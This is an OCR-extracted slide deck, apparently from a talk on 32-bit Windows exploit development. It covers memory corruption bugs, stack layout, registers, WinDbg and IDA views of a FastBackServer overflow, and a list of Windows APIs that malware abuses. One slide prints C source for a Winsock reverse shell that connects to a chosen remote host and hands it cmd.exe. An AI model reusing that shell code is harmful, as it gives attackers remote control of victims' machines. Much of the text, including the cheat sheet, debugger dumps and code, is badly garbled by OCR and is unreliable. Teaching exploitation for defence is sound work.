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BINARY EXPLOITATION IS

EXPLOIT CONCEPTS

 Heap corruption
o Use-After-Free
* Format string

XQi4 ax, rbx\ %
all <func>

MEMORY & DEFENSES

.data

stack

(7 text

Stack canary

mov rxbx

ASLR

call <func>

NX

SEGMENTATION




= ENGLISH SLANG

Cap @

to lie or exaggerate;
claiming something that
IS not true

Example:

He said binary exploitation is fun
, but | later found out that was

cap
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Memory Corruption Vulnerabilities

Memory corruption vulnerabilities occur when a flaw in software leads to the modification of
memory in unintended ways, potentially causing unexpected behaviour or providing avenues for
exploitation. These vulnerabilities can be enabled by various execution errors or coding mistakes,
such as improper input validation, incorrect memory allocation, or failure in memory

management operations.

The root cause of memory corruption often lies in the software’s inability to correctly manage
memory operations. For instance, when a program writes more data to a buffer than it can hold
(buffer overflow), it ends up overwriting adjacent memory. Similarly, accessing memory after it
has been freed (use-after-free) or freeing the same memory space more than once (double-
free) leads to corruption.

These issues primarily arise due to the complexity of manual memory management in languages
like C and C++, and the challenges associated with ensuring that all memory operations are safe.
Developers must vigilantly check their code for these vulnerabilities, as exploiting them can lead
to severe security breaches, crashes, and data leakage.
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Memory Corruption Vulnerabilities

The impacts of memory corruption vulnerabilities can be severe,
including system compromise, data theft, and unauthorized access.
In the worst-case scenario, attackers exploiting these vulnerabilities
can gain control over a system, enabling them to execute arbitrary
code with the permissions of the application affected by the memory

corruption.

Memory corruption vulnerabilities can also undermine the reliability
and stability of software, leading to unexpected crashes and

undetermined behaviour. These issues can damage user trust, result
in operational and reputational damage for organizations and even
endanger people’s lives when impacting critical industrial or medical

systems.
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Vulnerabilities By Types/Categories

CVEdetails.com assigns types/categories to vulnerabilities using CWE ids and keywords.

Memory Directory File Open Input
Year Overflow Corruption |Sqgl Injection XSS Traversal Inclusion CSRF HXE SSRF Redirect Validation
2015 343 1093 216 773 146 3 248 49 8 46 0
2016 418 1096 85 476 90 4 85 15

2017

o
@

28 o
-

2039 12

2018
2018 2387 126

2020 2201 108

Tatal 16326 21405 34983 2721 1466 7830 1215 1885
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Some examples

® Buffer Overflows - Buffer overflows occur when data exceeds its allocated memory space, overwriting adjacent
memory. This often results from inadequate input validation, allowing attackers to inject malicious code or

manipulate the program’s control flow.

® Use-After-Free Vulnerabilities - Use-after-free vulnerabilities occur when a program attempts to use memory after
it has been freed, leading to undefined behaviour. Attackers exploit these vulnerabilities o execute arbitrary

code or corrupt data by manipulating the freed memory before it's reused.

® Double-Free - Double-free errors occur when a program mistakenly frees the same memory region more than
once, leading to memory corruption or crashes. They often result from logic errors in the program’s flow and can

be exploited to perform malicious actions, similar to use-after-free vulnerabilities.

® Format String Vulnerabilities - Format string bugs occur when user input is passed directly to printf-family
functions without proper format specifiers. Attackers can use format specifiers like %x to read from the stack, %n

to write fo arbitrary memory locations, and chain these primitives to achieve code execution.

® Integer Overflows/Underflows - Integer overflow vulnerabilities happen when arithmetic operations exceed the
maximum value a data type can hold, causing wraparound. These can lead to buffer overflows, incorrect

memory allocations, or bypassed security checks - often serving as the first step in exploitation chains.

14/10/2025
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x86/xb64

While the majority of Windows operating systems in use today are 64-bit, many
applications are 32-bit. This is possible on the Windows platform due to the Windows
on Windows 64 (WOW64%) implementation. On workstations this includes applications

like the Microsoft Office suite and many enterprise server-side applications are also
still 32-bit.

This talk is about the 32-bit architecture, due to the huge amount of knowledge
required to learn and become proficient in exploit development. It should also be
noted that most techniques on 32-bit can be adapted to 64-bit, so learning them in-
depth on 32-bit is important.

14/10/2025
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Virtual Memory

Memory in modern operating systems is not mapped
directly to physical memory (i.e the RAM). Instead,
virtual memory addresses are used by processes that
are mapped to physical memory addresses via the
MMU. There are several reasons for this but ultimately
the goal is fo save as much physical memory as
possible. Virtual memory may be mapped to physical
memory but can also be stored on disk. With virtual
memory addressing it becomes possible for multiple
processes to share the same physical address while
having a unique virtfual memory address. Virtual
memory relies on the concept of Memory paging which
divides memory into chunks of 4kb called "pages".
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Program Memory

When a binary application is executed, it allocates

memory in a very specific way within the memory ~ Address

boundaries used by modern computers. We can see Stack

how process memory is allocated in Windows between 0x00400000
the lowest memory address (0x00000000) and the
highest memory address (Ox7FFFFFFF) used by
applications. When a thread is running, it executes code Thread Environment Block (TEB)

from within the Program Image or from various Heap

Program Image

Process Environment Block (PEB)

Dynamic Link Libraries (DLLs).

Dynamic Link Library (DLL)

0x7FFDF000

Ox7FFFFFFF
High Memory

Address OXxFFFFFFFF

14/10/2025 15



The Stack

When a thread is running, it executes code from within the
Program Image or from various Dynamic Link Libraries
(DLLs). The thread requires a short-term data area for
functions, local variables, and program control information,
which is known as the stack. To facilitate the independent
execution of multiple threads, each thread in a running
application has its own stack.

Stack memory is "viewed" by the CPU using a Last-In, First-
Out (LIFO) structure. This essentially means that while
accessing the stack, items put ("pushed") on the top of the
stack are removed ("popped") first. The x86 architecture
implements dedicated PUSH and POP assembly instructions
to add or remove data to the stack respectively.
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The Stack

void function

14/10/2025

bool male = true
string name =
intage = 74
ool adult = true
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NASM Intel x86 Assembly Language Cheat Sheet

immediately precede the jz or jnz instructions

Instruction Effect Examples o3 R .
Copying Data a1 ' A a
mov dest,src Copy src to dest mov eax,10 a2 " B b
mov eax,[2000] o g < a
add dest,src dest = dest + src add esi, 10 33 & E ;
sub dest,src dest = dest — src sub eax, ebx gg § 'i' 11‘
mul reg edx:eax = eax * reg mul esi 1@ * J i
div reg ledx = edx:eax mod reg div edi }% + E ]1‘
eax = edx:eax + reg 13 M m
inc dest Increment destination INC eax }‘51 p H 2
dec dest Decrement destination dec word [0x1000] ig ? P D
18 2 g ¥
call label Push eip, transfer control call format_disk 19 3 g s
ret Pop eip and return ret %? g 5 fl
push item Push item (constant or register) to stack. push dword 32 gg g H v
l.e.: esp=esp-4; memory[esp] = item push eax 24 8 ¥ x
pop [reg] Pop item from stack and store to register pop eax 25 ? ¥ v
l.e.: reg=memory[esp]; esp=esp+4 28 z z
28 < 3 =
and dest, src dest = src & dest and ebx, eax %3 5 1 2
or dest,src dest = src | dest or eax,[0x2000] 31 ? - a
xor dest, src dest = src » dest xor ebx, Oxfiffiff 7 A H
shl dest,count dest = dest << count shl eax, 2 ? ; g g
shr dest,count dest = dest == count shr dword [eax],4 ¥ E n a
: 2 ; i
cmp b.a Compare b to a; must immediately precede any of |[cmp eax,0 + ] 14 :
the conditional jump instructions by § ¢ g
je label Jump to label ifb=—=a je endloop ® c E é
jne label Jump to label ifb 1= a jne loopstart § i E E
jq label Jump to label ifb = a jg exit 0 -~ I i
jge label Jump to label ifb > a jge format_disk ; » i i
il label Jump to labelifb<a [il error ; ]I) 3
jle label Jump to label ifb<a jle finish . fi i
test reg,imm Bitwise compare of register and constant; should [test eax,0xffff . g g
0 i}
jz label Jump to label if bits were not set (“zero") jz looparound 0 o
inz label Jump to label if bits were set (“not zera") [inz error _ ',]( g
jmp label Unconditional relative jump imp exit ;’ i 3 o
jmp reg Unconditional absolute jump; arg is a register Jjmp eax = 2 u i
Miscellaneous 2 > u a
nop No-op (opcode 0x90) nop 7 tH ¥
hit Halt the CPU hit H 7 B

o
+
z
3
-’

n
1




CPU Registers 3 s 3 i

[ EAX AX A AL
9
% EBX BX BH BL
N
Several registers such as EAX, EBX, ECX, EDX, ESI, and EDI are often &
. , Q ECX CX CH cL
used as general purpose registers to store temporary data. There is g <
much more to this discussion, but the primary registers for our a EDX DX DH DL
purposes are described below: S
o ESI
O
: : — . | EDI
® EAX (accumulator): Arithmetical and logical instructions
, ESP
® EBX (base): Base pointer for memory addresses (stack pointer)
® ECX (counter): Loop, shift, and rotation counter EBP
(base pointer)
® EDX (data): I/O port addressing, multiplication, and division - bit
IS
® ES| (source index): Pointer addressing of data and source in string EAX
i 0111110111010111[0111110101111101
copy operations T US—
EBX
® EDI (destination index): Pointer addressing of data and @ oTTafolslifolabalolalols hlofoh WlsBalab i b [olido [1l 1

destination in string copy operations ECX

01 J1 o [afolo 10 [tdolafola s 1000k Jafadalalols faoleftlo1]0]s

EDX

1 fali o[ fidolsfifolob lalidalabo fadiftfob [1lads]afo oo tel0nt
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CPU Registers

® ESP — (Stack Pointer): The stack is used for storage of data, pointers, and
arguments. Since the stack is dynamic and changes constantly during program
execution, the stack pointer ESP keeps "track" of the most recently referenced
location on the stack (top of the stack) by storing a pointer to it. (A pointer is a
reference to an address (or location) in memory. When we say a register "stores a
pointer" or "points" to an address, this essentially means that the register is storing
that target address.)

® EBP - (Base Pointer): Since the stack is in constant flux during the execution of a
thread, it can become difficult for a function to locate its stack frame, which stores
the required arguments, local variables, and the return address. EBP, the base
pointer, solves this by storing a pointer to the top of the stack when a function is
called. By accessing EBP, a function can easily reference information from its stack
frame (via offsets) while executing.

® E|P — (Instruction Pointer): EIP, the instruction pointer, is one of the most important
registers for our purposes as it always points to the next code instruction to be
executed. Since EIP essentially directs the flow of a program, it is an attacker's
primary target when exploiting any memory corruption vulnerability such as a
buffer overflow.

14/10/2025
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Calling conventions

Calling conventions describe how functions receive their
parameters from their caller and how they return the result.
The x86 architecture allows for the use of multiple calling
conventions. The difference in their implementation consists
of several factors such as how the parameters and return
value are passed (placed in CPU registers, pushed on the
stack, or both), in which order they are passed, how the stack
is prepared and cleaned up before and after the call, and
what CPU registers the called function must preserve for the

caller.

Generally speaking, the compiler determines which calling
convention is used for all functions in a program, however, in
some cases, it is possible for the programmer to specify a
specific calling convention on a per-function basis.

14/10/2025

Oﬁsaﬂ@Sscopeip

00581882 =8L9550=00
g 287 1]=]

Command

call FastB@ckServer

0:006: dd=s esp 13
0d2bf=94 04fdedbc
0d2bf=98 04fdalbc
0d2bfe9c 00000064
0:006: dd D4fdedtc
04fdedS= 00000000
04fdedbc 00000000
04fded?c 00000000
04fded8c 00000000
04fded9= 00000000
0d4fdedac 00000000
0d4fdedbc 00000000
D4fdedcc 00000000
0:006: dd 04fdalSc
04fdalSc 41414141
Dd4fdabléc 41414141
D4fdal?cz 41414141
0d4fdal8c 41414141
04fdal9c 41414141
D4fdalac 41414141
D4fdalbs 41414141
0d4fdalcc 00000000
0:.006: p

ce=001b ===0023

00581887 83c4l0c

0:006: dd 04fdedCc
04fdedSc 41414141
D4fdedbc 41414141
04fded?c 41414141
ld4fdeddc 41414141
04fded9c 41414141
D4fdedac 41414141
0d4dfdedbc 41414141
0d4fdedcc 00000000

gooooooon
gooooooon
oooooooon
ooooooon
oooooooo
oooooooon
ooooooon
oooooooo

41414141
41414141
41414141
41414141
41414141
41414141
oooooooon
ooooooon

d==0023
add

41414141
41414141
41414141
41414141
41414141
41414141
oooooooon
ooooooon

gooooooo
gooooooo
gooooooo
gooooooo
gooooooo
gooooooo
gooooooo
gooooooo

41414141
41414141
41414141
41414141
41414141
41414141
gooooooo
ooooooon

es=0023

41414141
41414141
41414141
41414141
41414141
41414141
oooooooo
ooooooon

gooooooo
gooooooo
gooooooo
gooooooo
gooooooo
gooooooo
gooooooo
gooooooo

41414141
41414141
41414141
41414141
41414141
41414141
gooooooo
oooooooo

eax=04fdedtbc ebx=05=9b5el] ecx=00000000 =d==0000
eip=00531887 e=p=0dZbfe%4 ebp=0d:bfebl iopl=0
f==003L g=
FastBackSerwer |FX_AGENT_ CopyReceiveBuf f+0=251:

esp.

OCh

41414141
41414141
41414141
41414141
41414141
41414141
gooooooo
ooooooon

Y
FIFE
0000000000581859
0000000000581852 loc_5B81853:
0000000000581E859 mov eax, [ebp-10h]
000000000058185C mov [ebp-4], eax
000000000058185F mov ecx, [ebp-4]
0000000000581862 push ecx ; Size
0000000000581863 mov edx, [ebpt+8]
0000000000581866 mov eax, [edx+ZCh]
0000000000581E8629 mov ecx, [ebp+8]
Q00000000058186C lea edx, [ecx+teax+38h]
0000000000581870 push edx ; Sre
0000000000581871 mov eax, [ebp+8]
0000000000581874 mowv ecx, [eax+20h]
0000000000581877 mov edx, [ebp+8]
000000000058187A lea eax, [edx+tecx+4438h])
0000000000581881 push eax ; Dst
0000000000581882 call _memcpy
0000000000581887 add esp, 0OCh
000000000058188A mov ecx, [ebpt+8]
0000000000581880 mov edx, [ecx+Z0h]
0000000000581820 add edx, [ebp-4]
0000000000581E893 mov eax, [ebp+8]
0000000000581E896 mov [eax+20h], edx
0000000000581899 mov ecx, [ebp+8]
000000000058189C mov edx, [ecxt+ZCh]
000000000058189F add edx, [ebp-4]
00000000005818A2 mov eax, [ebp+8]
00000000005818A5 mov [eax+2Ch], edx
00000000005818A8 mov ecx, [ebp+8]
00000000005818AE mov edx, [ebp+8]
00000000005818BAE mowv eax, [ecxt+2Ch]
00000000005818E1 cmp eax, [edx+ZE8h]
00000000005818EB4 Jjb short loc_581EBCA
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DLLs

. . . IS ) plorer exe < 0.0 356,452 K 189,572 K 7434 Windows Explorer
DLLs are shared libraries of executable functions or — X 252K 4512 VMware Tray Process
data that can be used by mul’rlple GppliCGﬁOhS chn::me.exe < 0.0 290412 K 381,776 K 14104 Gougle Chrome
= £ sublime_text exe 42152 K 37556 K 22576 Sublime Text
simultaneously. They are used to export functions to be [i]plugin_host-3.3.exe 11,488 K 10,180 K 22004
. [#z| plugin_host-3.8.exe 17,856 K 12540 K 22632
used by a process. Unlike EXE files, DLL files cannot
execute code on their own. Instead, DLL libraries need -
. MName Description Company Name Path
to be InVOked by OTher prog rams fo execute The COde' wscui.cpl mui Securty and Maintenance Microsoft Corparation C\Windows*System 32 en-L 5 wscui.cpl mui
. H wscui.cpl Securty and Maintenance Microsoft Corparation C\Windows*System 32 wscui.cpl
For exomple Crea’reFlleW IS exporfed from kerne|32.d||, wscui.cpl Securty and Maintenance Microsoft Corparation C\Windows System 32 wscui.cpl
’rherefo re |-[-' a process wad nts to CO” 1-h0-|- 'FU nction it wscintv:an:up.dll ‘-"u'?ndu:uws Heahh Center W5C Inter... M?cmsnﬂ Cu:urpu:uraﬂu:un C:'-.‘."a'?ndu:uws'-.S'_.'stem32'-.wscir|t§rc:p.dll
WeCapi. Windows Secu enter icrozoft Corporation AWindowsSystem 32 wecapi.
dll Wind Securty Center AP Microsoft C at CaWindowshSystem 32 dll
WOUld ﬁrsf need to |oqd kerne|32_d|| info its Qddress ws2_32.dll Windows Socket 2.0 32-Bit DLL Microsoft Corporation CAWindows \System32ws2_32.dll
WppRecorderUMdl  "WppRecorderlJM.DYMLIMNK" Microsoft Corporation C \Windows \System 32\ WppRecorderUM. dll
space. wpnclient dll Windows Push Motifications Client  Microsoft Corporation C:\Windows System 32wpnclient dll
wpnapps.dl Windows Push Motffication Apps Microsoft Corparation C \Windows*System 32 wpnapps dil
WPDSh5ServiceObjdl Windows Portable Device Shell Se... Microsoft Corparation C '\ Windows* System3ZWP D5hServiceObj dil
wpdshext dil Portable Devices Shell Extension Microsoft Corparation C\Windows™System 32 wpdshext dll
. . Work FoldersShelldl  Microsaft (C) Work Folders Shell E...  Microsoft Corporation C\Windows System 32 Work Folders Shell dll
Some DLLs are automatically loaded into every process  wnicintdi WMI Client API Microsoft Corporation C:\Windows" System32\wmicint i
. . wlidprov.dll Microsoft® Account Provider Microsoft Corporation CAWindows \System 32 wlidprov dll
b)’ defaul’r since These DLLs expo rt 'FU nctions ThGT are widp.dll Windows Lockdown Policy Microsoft Corporation C\Windows System 32widp dll
'F _I_h t + | A _F WilanMediaManage... Windows WLAN Media Manager ... Microsoft Corporation C\Windows System 32" WlanMediaManager.dll
necessary tor € process To execute properly. ew wianapi.dil Windows WLAN AutoCorfig Cliert...  Microsoft Corporation C:Windows System 32wlanapi dll
whescli dil Waorkstation Service Client DLL Microsoft Corparation C\Windows™System 32 wihscli dl
exomples Of These DLLs are an”d”’ kernelSQ'd” Gnd WinTypes dll Windows Base Types DLL Microsoft Corparation C\Windows*System 32 Win Types dll
wirtrust dil Microsoft Trust Verfication APls Microsoft Corparation C:\Windows System 32 wintrust dll

kernelbase.dll. The image below shows several DLLs
that are currently loaded by the explorer.exe process.

14/10/2025
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Windows

CreateToolhelp3Zsnapshot

EnmmbeviceDrivers

EmmProcesses

EnumProcessModules

EnmmProcessModulesEx

FindFirastFiles

FindWextFilea

GetLogicalProcessor Information

GetLogical Processor InformationEx

GetModul eBaseNamen

GetsSystemDefanltLangrd

GetVersionExa

GetWindowsDirectorya

IsWoWG4Frocess

Module32Firat

Module32Next

Process3ZFirat

FProcess3iZNext

ReadProcessMemory

Thread32Firat

Thread3zNext

GetSystemDirectoryh

GetSystemTime

ReadFile

GetComputerHameR

VirtualQueryEx
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CreateFileMappingh

CreateProcessh

CreateRemoteThread

CreateRemoteThreadEx

GetModuleHandlen

GetProcAddress

cetThreadContext

HeapCreate

LoadLibrarya

LoadLibraryExA

Localilloc

MapViewDfFile

MapViewDfFilez

MapViewDfFile3

MapViewofFileEx

OpenThread

Process3zZFirat

ProcessizZNext

PueuslaerAPC

ReadProcessMemory

ResumeThread

SetProcessDEPPolicy

SetThreadContext

suspendThread

Thread32Firat

Thread32Next

CreateFileMappingh

DeleteFilea

GetModuleHandlen

GetProchddress

LoadLibrarya

LoadLibraryExa

LoadRescurce

SetEnvironmentVariableh

SetFileTime

Sleep

WaitForSingletbject

SetFileAttributesh

SleepEx

NtDelayExecution

NtWaitForMultipleOhjects

NtWaitForsingleobject

CreateWindowExa

RegisterHotRey

timeSetEvent

IcmpSendEcho

WaitForsinglecbjectEx

WaitForMultipleOhjects

WaitForMultipleobjecteEx

BetWaitableTimer

CreateTimerfusueTimer

CreateWaitableTimer

AttachThreadInput

callNextHookEx

GetAsyncKeyState

GetClipboardData

GetDC

GetForegroundwWwindow

GetEeyboardstate

GetHeyState

GetMessageh

GetRawInputData

CGetWindowDC

MapVirtualKeya

MapVirtualKeyExA

PeekMessageh

FPostMessageh

FPostThreadMessages

RegisterHotRey

RegisterRawInputDevices

SendMessageh

sendMessagecallbacks

SendMessageTimsouth

SendNotifyMessagen

SetWindowsHookExA

SetWinEventHook

UnhookWindowsHookEx

WinExec

FtpPutFileh

HttpOpenRequesti

HttpSendRequesth

HttpSendRequestExh

InternetCloseHandle

InternetOpent

InternetOpenlrla

InternetReadFile

InternetReadFileExA

InternetWriteFile

URLDownloadToFile

URLDownloadToCacheFile

URLOpenBlockingStream

URLOpenStream

Rocept

Bind

Conmect

Send

WSAStartup

Gethostname

Socket

WSACleanup

CreateToolhelp32Snapshot

GetLogical ProcessorInformation

GetLogical Processor InformationEx

GetTickCount

outputDebugStringh

CheckRemoteDebuggerPFresent

Sleep

GetSys temTime

GetComputerNameh

SleepEx

IsDebuggerPresent

GetUserNames

NtQueryInformationProcess

ExitwWindowsEx

Findwindowh

FindwindowExa

GetForegroundWindow

GetTickCounts4

fueryPer formanceFrequency

gueryPer formanceCounter

GetNativeSystemInfo

RtleetVersion

GetSystenTimeAsFileTime

CcountCliphoardFormats

CryptAcquireContexth

EncryptFiles

CryptEncrypt

CryptDecrypt

CryptCreateHash

CryptHashData

CryptDeriveley

CryptESetReyParam

CryptGetHashParam

CryptSetReyParam

CryptDestroyKey

CryptEenfandom

DecryptFileR

FlushEfsCcache

GetLogicalDrives

GetDriveTypeh

CryptStringToBinary

CryptBinaryToString

CryptReleaseContext

CryptDestroyHash

EmumSystemLocalesh

CryptProtectData

ConmectNamedPipe

CopyFileR

CreateFileh

CreateMutexh

CreateMutexExh

DeviceloControl

FindResourceh

FindResourceExA

GetModuleBaseNamer

GetModuleFileNames

GetModuleFileNameExa

GetTempPathi

IsWoWG4+Frocess

MoveFiles

MoveFileExa

PeckNamedPipe

WriteFile

TerminateThread

CopyFilez

CopyFileExR

CreateFilez

GetTempFileNameh

TerminateProcess

SetCurrentDirectory

Findcloze

SetThreadPriority




Windows APls

CreateRemoteThread GetProcAddress

CreateRemoteThread is used to create a thread that runs in the wvirtual GetProcAddress is used to get the memory address of a function in a DLL.
address space of another process. This is often used by malware for obfuscation and evasion purposes to

avoid having to call the function directly.

Kernel32.dll
Kernel32.dll

Injection

Injection Evasion

Created: 2021-10-30
Last Update: 2021-10-30 Created: 2021-10-30
Credits: mr.dox Last Update: 2021-10-30

Credits: mr.dox
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Reverse shell

Publicly-available reverse shells written in C
reveals that most of the required APls are #pragna coment(lib, "w2_32")
exported by Ws2_32.dll. We first need to i

SOCKET Sock;

initialize the Winsock DLL using WSAStartup. This struct sockaddr_in hax;

1ar ip addr[16];

is followed by a call to WSASocketA to create the PROCEe T ORAATLON ceoebsso tnfos
socket, and finally WSAConnect to establish the

int main(int argc, char *argv[])
connection. The last APl we need to call is L SAStantup(HWAKEMORD(2,2), Esabata);

Winsock=WSASocket (AF TNET,SOCK STREAM,IPPROTO TCP,NULL,(unsigned int)NULL,{unsigned int)NULL);

CreateProcessA from kernel32.dll. This API will

start cmd.exe.

if (argv != 3){fprintf{stderr, "Uso: <rhost> <rport>\n"); exit(1};}
5 t hostent *host;

host = gethostbyname(argv[1]);

strepy(ip addr, inet ntoa(*((struct in_addr *)host->h_addr)));

hax.sin_family = AF_INET;
hax.sin_port = htons(atoi(argv[2]))};
hax.sin_addr.s addr =inet addr(ip addr);

ini_processo.dwFlags=STARTF_USESTDHANDLES;
ini_processo.hS5tdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;
CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, &, NULL, NULL, &ini processo, &processo info);
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Tools: WinDBG

T Pid 628 - WinDbg:10.0.18362.1 X86 - X
File Edit View Debug Window Help
| & NEREIRE SETNRL RUS G RUN e R =i e R = e N m e R e R Y e
i
Offset: |@Ssc0peip | Previous Next Virtual: |esp | Previous

. dsassembl possible Display format | Long Hex ~ Next
2f09n3333 43 e b O0aff7al 2£9c06bl 42424242 42424242 2f9bkecd 75387503
2£9b3234 895del now dvord ptr [ebp-20h].ebx 00aff7b4 42424242 424247242 2§9h120e ffFFff18 2f9b4117
2fO9RI337 =TACfcfefffEff  mow dword ptr [ebp-4].0FFFFFFFEL  |00=2f£7c8 42424242 42424242 73ade732 2£9b1042 00000001
2f9h333e Sbol nov et O0aff7dc 2£9h3331 2£9c0hbl 42424242 42424242 2f9bbecl
2f£9R3340 =b0b imp CustomSwr0l+0x334d (2f9b3344 (002f£7£0 75387509 42424242 42424242 2£9b120e fffffedc
J£9R3342 330 e I —— D02f£804 2£9b4117 42424247 42424242 73ad6732 2£9b1042
2f9h3344 40 e Eai O0=ff518 00001000 2£9b3331 2£9c0phl 42424242 42424242
J£0n3345 o3 Pt D0aff32c 2i9b6ecl) 75387509 42424242 42424247 2£9b120e
2£9b3346 BbESel nov esp.dvord ptr [ebp-18h] 00affB840 fffffeal 2£9h4117 42424242 42424242 73ad6732
2f9R3349 =b12? imp CustomSwr0l1+0x335d (2f9b3354 (00=££854 Z£9L104Z2 00000040 2£953331 2£9c06bl 42424242
2f9h334p 22c0 b Ry O0=ff868 42424242 2f9bhech 75387503 42424242 42424242
2f9b334d 2b4din nov ecx,dvord ptr [ebp-10k] 00affd7c 2f9b120e ffifffedc 2f9b4117 42424242 42424242
2f9RIICO 64890400000000 mow dword ptr fs:[0].scx 00=2f£890 75385908 44444444 44444444 44444444 44444444
2f9L3357 54 oop g OO=fffad 44444444 44444444 44444444 44444444 44444444
Jf9n31G8 Gf oD = D0aff3b 44444444 44444444 44444444 44444444 44444444
2f9L3359 Ce Bob st OOafffcc 44444444 44444444 44444444 44444444 44444444
Sf0h3ILL Ch e Sr O0affSel 44444444 44444444 44444444 44444444 44444444
< > |0Daffsf4 44444444 44444444 44444444 44444444 44444444
Command n
eax=00aff62a ebx=00001530 ecx=fff{fff58 ed=x=00000000 e=zi=00a ~ Virtual: |ebp | Previous
eip=2f9bkels e=p=00affy% =bp=00aff048 iopl=0 nw up .
c==001b ===0023 d==0023 e==0023 f==003h g==0000 Display format: | Long Hes v ||| Next
CustomSyrlltlzbels: 00afft2a 5a5a5aB4 Sabababa SabaSaba 5afababa Gabababa ~
Sﬁgggfﬂ5 e3 rst Olaffhis 555a5aGa SaGababa Ga5a5aba Gabababa Gabababa
csm=00aft62a obx-00001530 scx=fffff£58 edu=00000000 =si=00a | |003ffpce Sagagace Sasatate Satatade Gajadada Sagataca
eip=2£3b3331 esp=00aff?al sbp=002££048 iopl=0 nv up Ofaffh7a 5afabafa Safababa SafaSafa Gabababa Gafababa
cs=001b =5=0023 d==0023 es=0023 fs=003b gs=0000 00afftfe 5aSaSaSa Sabababa Sabfababa 5afababa Gabababa
CustonSvrll+lz33dl: 00aff6a? 5a5a5aba 5a5aSaba 535a5a5a 5aGababa Gabababa
S?ggg§31 3% uchg  eax. ebp 00affEbf 5aSaSabSa 38c05aba £0487552 474700af 00074747
cax=00af£048 sbx-00001530 ecx=ffffLES8 odu=00000000 e=i=00a | |00aiieds 42424242 12004242 £fed2£9D ALI7E£1 4242063D
sip=2£3b3332 esp=U0aff7all sbp=00afftia iopl=0 nv up O02ff6f2 42424242 fEbod4242 424200af acl44242 42427539
£s=001b  ==5=0023 ds=0023 es=0023 f£==003b gs=0000 00aff706 40184242 8h3c2f9c 42427539 06b14242 42422f9c
CustomSvril+lz3332: O0aff7la 42424247 42424247 £7284242 750900af 42427538
2£9b3332 o3 ret o |DDaff72s 42424242 12024242 ££982£9h 4117f1ff 42422f9h
D0aff742 42424242 £6c04242 104200af £2222£9b beO3fiff
< > O0=ff756 33312f9h O6b12f9h 42422f9c 42424242 £76c4242
Too00s | 00aff76a 750900af 42427538 42424242 120=4242 ££582f9b i
& NMAO=fFF7P7= AT17FFFF AD2AT2F0R A2424247 FE~AATAD2 10A20NSF

LnQ, Col0 Sys(:<lLocal> Proc000:274 Thrd 000:184 ASM OVR | CAPS NUM
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Tools: IDA
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File Edit Jump Search View Options

Windows Help

E e | |fgdy & B8 (a0 |t FryFmX | OO (|l % (| |E0 & B¢
Library function . Regular function . Instruction Data Unexplored External symbol
] Functions window ole| =] IDA View-A B |d Hex View-1 X Structures x| |2 Enums
Function name -l ¥
FIE
_GetAndResetUpdateStatus .
000000000056A158 loc_S6A158: ; Size
_RengrcaleaCk 00000000005 6A158 push 186A4h
: 0000000000SEA1SD push O : val
_FXCLI_C_ReceiveCommand 000000000056A15F mov edx, [ebp=0Ch]
000000000036A16Z push  edx ; Dst
_FXCL'_C_SEndCOmmandRepl\j 000000000036A163 call _memset
00000D00000SEAL1ER add &sp, och
_FXCLI_Inter_SendCommand 000000000056A16B mov eax, [ebp+l0h]
000000000056A16E sub eax, 30h
_Comparelob J 000000000056A171 mov ecx, [ebp-0Ch]
. B 0000000000SEA1TA mov [eex], =ax
_SetJobFilterField 0000D00D0DS6A1TE mov edx, [ebp-0Ch]
. 000000000056A1TY mov cax, [edx]
_StartTimer 000000000036A17E push  eax Size
. 0000000000SEA1TC mow acx, [ebp40Ch]
_StopTimer 0000000D00S6A1TF add ecx, _m:P
F . 000000000056A182 push SCK Src
_FXCLI_OpenTmpConfFile 000000000056A183 mov edx, [ebp-0Ch]
. 000000000086A186 add edx, 4
_FXCLI_CheckIsItemUnlque 000000000036A185 push edx Dst
X 0000000000S6A1EA call  _memcpy
_FXCLI_OpenConfFile 000000000056A18F add esp, 0Ch
_FXCLI_DeleteFile v¥
_FXCLI_RenameFile (PP
o T B 000000000056A192
0000000000%6A192 loc_S6A192:
| | ] 0000000000S6EA152 push offset _FXCLI_IF_sAgentCommandsMemoryPool
- 00000000005EA197 call  _MEM_S_GetChunk
Line 2933 of 6922 000000000056A19C add esp, 4
000000000036A19F mov [ebp-8], eax
; [m] | || 000000000056A1A2 cmp dword ptr [ebp-8], O
|'ﬂ" Graph overview —I ® 000000000056A1AE jnz short loc_SEALBY
_:_';_‘_-_ I
------------------------- E M m
00000000005 6A1B3
00000000003 6ALES loc_SEALBS: ; Size
...................................... D000ODGDODSEAIES push 30k
00000000005 EALEE mov eax, [ebp40Ch]

80.00% (1621,493)/ (821, 499)|[0016a21a

000000000056821R: _FXCLI_C_ReceiveCommand+12E (Synchronized w

| Output window

Database for file 'FastBackServer.exe'

has been loaded.

IDC ||

AU: idle | Down Disk: 57GB
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[#] accesschk

[0 accesschkid
3AccessEnum
@Ad&cplnrer
A4 ADExplarer
) ADInsight

%L ADInsight
[#=] adrestore

[ag] Autolegon
@autoruns

= Autoruns

|_'| Autorunséd.dll
= Autorunséd
= autorunsc

= autocrunsctd
ﬂBginfD
Fl|Bginfotd

4B Cacheset

[#=] Clockres

[#5] Clockrestd
[2=] Contig

[2=] Contigéd

[#Z| Coreinfo

@ CPUSTRES

« CPUSTRESE4
|:| ctrlZcap.amd.sys
(85 ctrlZcap

u ctriZcap.ntd.sys
ﬂ ctrlZcap.nt3.sys
E%)Dbgview

% Dbgview

D8 Desktops
E%]Disklvhd
< disk2vhd
[0=] diskext
(=] diskextfd
E3 Diskmon
@ DisKMon
I DiskView
[] DMOM.SYS
[#z]du

[8=] dub4

[o=] efsdump
ﬂ Eula

[#=] FindLinks
[#:] FindLinks64
(85| handle
[#=|handletd
[0 hex2dec
[0 hex2dectd
[#=]junction
[2=]junctiongd
[o=]ldmdump
[#| Listdlls
(=] ListdllsB4
[u] livekd

(03] livekd6d
i) LoadOrd
il LoadOrd64
i LoadOrdC
il LoadOrdC64

[2=]logonsessions

[]logonsessionsBd
[#5] movefile
[#5] movefilefd

B notrmyfault
B notmyfaulttd

B notrmyfaultc
B notmyfaultctd
[#=] nifsinfo

[#=] nifsinfobd
ﬁfpagedfrg
apagedfrg

[®] pendmowves
[#E] pendmowvestd
[2=] pipelist

[m=] pipelistd

[] PORTMON.CNT
¢ portmon

@ PORTMON
[®] procdump
[#] procdumpt4
22 procexp

¥ procexp

¥ procexptd
[ procmon

£J Procmon

£ZF Procmontd
[#] PsExec

[m5] PsExectd

[m5] psfile

[55] psfiled

[#] PsGetsid

(5] PsGetsidad
[#Z|Psinfo

[#Z| PsInfobd
[5=] pskill

(=] pskillgd

[55] pslist

